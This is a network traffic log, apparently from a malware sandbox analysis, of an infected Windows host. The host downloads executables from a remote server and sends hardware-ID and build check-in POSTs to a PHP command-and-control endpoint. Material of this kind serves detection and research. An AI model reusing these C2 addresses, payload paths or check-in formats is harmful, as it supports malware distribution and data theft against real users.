Oct 24, 2024 09:09:18.745515108 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: tHTebdST\9.d#H84[LvQtT!-CIRy(5@7rWcd,
Oct 24, 2024 09:09:18.745574951 CEST	1236	IN	Data Raw: 4e a7 67 e8 b5 0e 78 e6 15 af e6 5f 68 73 04 f0 b9 28 43 ac 75 23 36 77 56 1f 15 84 8e ab 22 5e c8 b0 43 86 af 52 14 08 7a c0 73 d9 97 ae 04 54 8e 32 79 4c 86 c1 fb 2b a7 0f 2a b4 ea 27 d7 ec a5 f8 03 ac 99 e3 26 73 0a e1 63 c5 d8 00 34 0c 9e a7 Data Ascii: Ngx_hs(Cu#6wV"^CRzsT2yL+*'&sc4NxU&dk;34Q@fF@b^$?M\oryJFK%CR0}.67x('-c%4U'd5!U&S.l&CxX5
Oct 24, 2024 09:09:18.745584965 CEST	1236	IN	Data Raw: 18 f0 84 48 21 ef 2a ac 34 1b a1 aa a0 87 ee 34 d0 c0 49 a7 4d 60 ef f4 e6 54 5c ca 9d 28 b3 b2 e9 40 0d a7 d5 c6 5e 1c 18 05 1c 08 29 b1 b7 b6 8d 66 78 1c cc bb db 08 17 2e 34 4e 26 a3 80 f1 79 87 26 36 41 07 7a 2c cc 02 ef 61 da af 09 a7 5a 0f Data Ascii: H!*44IM`T\(@^)fx.4N&y&6Az,aZ[z3P2$_"/(xB1r<s`=H{%8/okm(+uVp@;m03KCp.r<a.tOF7vE
Oct 24, 2024 09:09:18.745629072 CEST	1236	IN	Data Raw: d8 e7 99 7e cf 4f 98 44 31 a5 83 b9 f7 09 28 a3 96 cb d1 b4 d6 52 dd be 70 24 8c ba fe f9 9b d2 70 e7 e3 98 fb ce fe 78 8a a3 da b0 75 e8 eb 81 a1 5d 86 ac 88 c0 69 c3 14 a5 1f b8 b9 09 f6 40 9a f7 8b 91 55 65 c0 08 c3 07 d5 b8 f2 f3 65 21 af d3 Data Ascii: ~OD1(Rp$pxu]i@Uee!3?c-t6SfQ90M3:F8f'4*C.v_ad4;5>x8zVQg(A "a6?5L%CaTz&
Oct 24, 2024 09:09:18.745640039 CEST	1236	IN	Data Raw: 08 a9 6e a8 0e 31 f5 dd 88 da ec c4 81 51 78 41 87 f3 fc ce 46 7b 0b 2d 58 7b fb a6 8d f5 a7 6e 49 15 ec 94 76 60 ed 17 88 12 f2 ab c0 90 6a 1d 07 18 94 e0 c4 ae 7a 38 26 cc b4 75 42 05 fe 9f 3e b1 0d cf 95 fd 04 ad 91 2a 18 8f 47 8f f2 e6 6c 22 Data Ascii: n1QxAF{-X{nIv`jz8&uB>Gl"^)X3gO~oY1tIf0`5Lyrn7z$FAb<-Qpbo>Y)(V4T/D_:6Z7K'<ql80)oW,RU
Oct 24, 2024 09:09:18.750838041 CEST	1236	IN	Data Raw: 8b e0 fb b2 19 62 37 55 70 3a 19 d3 f5 b2 4b 28 b3 bf 43 f5 69 25 b8 da 6d fa 21 78 d1 24 07 4a 61 87 e0 2e c8 c9 c4 7f 30 59 bd f1 55 c0 35 ad 75 9e 58 8b 9c 6f 17 73 8b 53 81 1e 8e 35 e6 b6 d5 57 c8 54 29 3d 8d e8 14 95 46 bc 1f 99 43 0e 46 3f Data Ascii: b7Up:K(Ci%m!x$Ja.0YU5uXosS5WT)=FCF?/zYF%< gJY?(e6#F='o^\|!h%nQ5H~ehVk2AN(DaQ(gtSE}aN32TB'C{&mM$&g+\|
Oct 24, 2024 09:09:20.206547976 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 09:09:20.486572981 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:09:20 GMT Content-Type: application/octet-stream Content-Length: 1854464 Last-Modified: Thu, 24 Oct 2024 06:55:17 GMT Connection: keep-alive ETag: "6719ef55-1c4c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 e7 22 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$0j@`j"@P%d% %(@.rsrc %8@.idata %8@ P%:@wyvqzkuk0P<@kejrglww j&@.taggant00j"@
Oct 24, 2024 09:09:21.403148890 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 09:09:21.682312965 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:09:21 GMT Content-Type: application/octet-stream Content-Length: 2822656 Last-Modified: Thu, 24 Oct 2024 06:45:04 GMT Connection: keep-alive ETag: "6719ecf0-2b1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 05 dd 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@mjjuywzq*:@kuccapjc `+@.taggant@+"*@

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	50097	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:21.773943901 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 09:09:22.693129063 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:09:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 09:09:22.694926977 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAFBAEBKKEBFIJEBK Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="build"doma------EGIDAFBAEBKKEBFIJEBK--
Oct 24, 2024 09:09:22.984853029 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:09:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	50104	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:28.706207037 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:29.301703930 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53830 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 09:09:29.502144098 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:29.626806974 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53830 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 09:09:29.662322998 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:29.787025928 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53830 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 09:09:30.214787960 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:30.339518070 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53831 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 09:09:30.355685949 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:30.480433941 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53831 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 09:09:30.983475924 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:31.109199047 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53832 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 09:09:35.933911085 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:36.177792072 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:36.334664106 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53837 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 09:09:46.377772093 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 09:09:46.915849924 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:47.042671919 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53847 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	50116	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:29.337233067 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	50120	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:29.675851107 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	50122	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:29.816168070 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	50123	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:30.359544039 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	50125	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:30.495069981 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 09:09:31.102287054 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 65746 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 09:09:31.111560106 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 09:09:31.453845978 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 65746 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 09:09:31.453958035 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 65746 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 09:09:36.352298975 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 09:09:36.479259968 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 65751 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 09:09:46.499563932 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 09:09:47.051659107 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 09:09:47.180063963 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 65762 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	50126	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:32.217545986 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 09:09:33.297642946 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:09:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 09:09:33.301498890 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 2d 2d 0d 0a Data Ascii: ------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="build"doma------IDHIEBAAKJDHIECAAFHC--
Oct 24, 2024 09:09:33.590945959 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:09:33 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49712	104.102.49.254	443	2532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:07:11 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
